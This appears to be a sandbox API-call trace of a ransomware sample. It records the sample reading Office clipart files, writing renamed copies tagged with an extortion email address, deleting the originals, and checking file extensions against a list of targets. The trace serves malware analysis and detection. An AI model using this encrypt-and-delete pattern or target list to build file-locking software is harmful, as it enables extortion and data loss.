	[0090.837] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7e0, lpOverlapped=0x0) returned 1
	[0090.838] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.838] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.838] SetEndOfFile (hFile=0x300) returned 1
	[0090.838] CloseHandle (hObject=0x300) returned 1
	[0090.838] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.838] SetEndOfFile (hFile=0x350) returned 1
	[0090.839] CloseHandle (hObject=0x350) returned 1
	[0090.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0090.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.839] lstrlenW (lpString=".doc") returned 4
	[0090.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.839] lstrlenW (lpString=".docx") returned 5
	[0090.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.839] lstrlenW (lpString=".pdf") returned 4
	[0090.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.839] lstrlenW (lpString=".xls") returned 4
	[0090.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.840] lstrlenW (lpString=".xlsx") returned 5
	[0090.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.840] lstrlenW (lpString=".ppt") returned 4
	[0090.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString=".zip") returned 4
	[0090.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.840] lstrlenW (lpString=".rar") returned 4
	[0090.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString=".bz2") returned 4
	[0090.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString=".7z") returned 3
	[0090.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString=".dbf") returned 4
	[0090.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString=".1cd") returned 4
	[0090.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString=".jpg") returned 4
	[0090.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.840] lstrlenW (lpString=".doc") returned 4
	[0090.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString=".docx") returned 5
	[0090.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.840] lstrlenW (lpString=".pdf") returned 4
	[0090.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.840] lstrlenW (lpString=".xls") returned 4
	[0090.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.840] lstrlenW (lpString=".xlsx") returned 5
	[0090.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.840] lstrlenW (lpString=".ppt") returned 4
	[0090.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.841] lstrlenW (lpString=".zip") returned 4
	[0090.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.841] lstrlenW (lpString=".rar") returned 4
	[0090.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.841] lstrlenW (lpString=".bz2") returned 4
	[0090.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.841] lstrlenW (lpString=".7z") returned 3
	[0090.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.841] lstrlenW (lpString=".dbf") returned 4
	[0090.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.841] lstrlenW (lpString=".1cd") returned 4
	[0090.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0090.841] lstrlenW (lpString=".jpg") returned 4
	[0090.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.841] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.841] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0090.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.844] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1804) returned 1
	[0090.844] CloseHandle (hObject=0x350) returned 1
	[0090.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220
	[0090.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.845] GetLastError () returned 0x0
	[0090.845] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x70c, lpOverlapped=0x0) returned 1
	[0090.846] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x710, lpOverlapped=0x0) returned 1
	[0090.847] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.847] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.847] SetEndOfFile (hFile=0x300) returned 1
	[0090.847] CloseHandle (hObject=0x300) returned 1
	[0090.847] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.847] SetEndOfFile (hFile=0x350) returned 1
	[0090.848] CloseHandle (hObject=0x350) returned 1
	[0090.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0090.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.848] lstrlenW (lpString=".doc") returned 4
	[0090.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString=".docx") returned 5
	[0090.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.849] lstrlenW (lpString=".pdf") returned 4
	[0090.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString=".xls") returned 4
	[0090.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.849] lstrlenW (lpString=".xlsx") returned 5
	[0090.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.849] lstrlenW (lpString=".ppt") returned 4
	[0090.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString=".zip") returned 4
	[0090.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.849] lstrlenW (lpString=".rar") returned 4
	[0090.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString=".bz2") returned 4
	[0090.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString=".7z") returned 3
	[0090.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString=".dbf") returned 4
	[0090.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString=".1cd") returned 4
	[0090.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString=".jpg") returned 4
	[0090.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.849] lstrlenW (lpString=".doc") returned 4
	[0090.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.849] lstrlenW (lpString=".docx") returned 5
	[0090.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.849] lstrlenW (lpString=".pdf") returned 4
	[0090.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.850] lstrlenW (lpString=".xls") returned 4
	[0090.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.850] lstrlenW (lpString=".xlsx") returned 5
	[0090.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.850] lstrlenW (lpString=".ppt") returned 4
	[0090.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.850] lstrlenW (lpString=".zip") returned 4
	[0090.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.850] lstrlenW (lpString=".rar") returned 4
	[0090.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.850] lstrlenW (lpString=".bz2") returned 4
	[0090.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.850] lstrlenW (lpString=".7z") returned 3
	[0090.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.850] lstrlenW (lpString=".dbf") returned 4
	[0090.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.852] lstrlenW (lpString=".1cd") returned 4
	[0090.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0090.852] lstrlenW (lpString=".jpg") returned 4
	[0090.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.852] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.852] lstrlenW (lpString="DD01176_.WMF") returned 12
	[0090.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.852] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1888) returned 1
	[0090.852] CloseHandle (hObject=0x350) returned 1
	[0090.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220
	[0090.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.853] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.853] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.853] GetLastError () returned 0x0
	[0090.853] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x760, lpOverlapped=0x0) returned 1
	[0090.854] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x770, lpOverlapped=0x0) returned 1
	[0090.855] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.855] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.855] SetEndOfFile (hFile=0x300) returned 1
	[0090.855] CloseHandle (hObject=0x300) returned 1
	[0090.855] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.855] SetEndOfFile (hFile=0x350) returned 1
	[0090.856] CloseHandle (hObject=0x350) returned 1
	[0090.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0090.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.857] lstrlenW (lpString=".doc") returned 4
	[0090.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString=".docx") returned 5
	[0090.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.857] lstrlenW (lpString=".pdf") returned 4
	[0090.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString=".xls") returned 4
	[0090.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.857] lstrlenW (lpString=".xlsx") returned 5
	[0090.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.857] lstrlenW (lpString=".ppt") returned 4
	[0090.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.857] lstrlenW (lpString=".zip") returned 4
	[0090.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.857] lstrlenW (lpString=".rar") returned 4
	[0090.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString=".bz2") returned 4
	[0090.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString=".7z") returned 3
	[0090.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.857] lstrlenW (lpString=".dbf") returned 4
	[0090.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.857] lstrlenW (lpString=".1cd") returned 4
	[0090.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".jpg") returned 4
	[0090.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".doc") returned 4
	[0090.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString=".docx") returned 5
	[0090.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.858] lstrlenW (lpString=".pdf") returned 4
	[0090.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString=".xls") returned 4
	[0090.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.858] lstrlenW (lpString=".xlsx") returned 5
	[0090.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.858] lstrlenW (lpString=".ppt") returned 4
	[0090.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".zip") returned 4
	[0090.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.858] lstrlenW (lpString=".rar") returned 4
	[0090.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString=".bz2") returned 4
	[0090.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString=".7z") returned 3
	[0090.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".dbf") returned 4
	[0090.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".1cd") returned 4
	[0090.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0090.858] lstrlenW (lpString=".jpg") returned 4
	[0090.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.859] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.859] lstrlenW (lpString="DD01178_.WMF") returned 12
	[0090.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.859] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3796) returned 1
	[0090.859] CloseHandle (hObject=0x350) returned 1
	[0090.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220
	[0090.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.859] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.859] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.860] GetLastError () returned 0x0
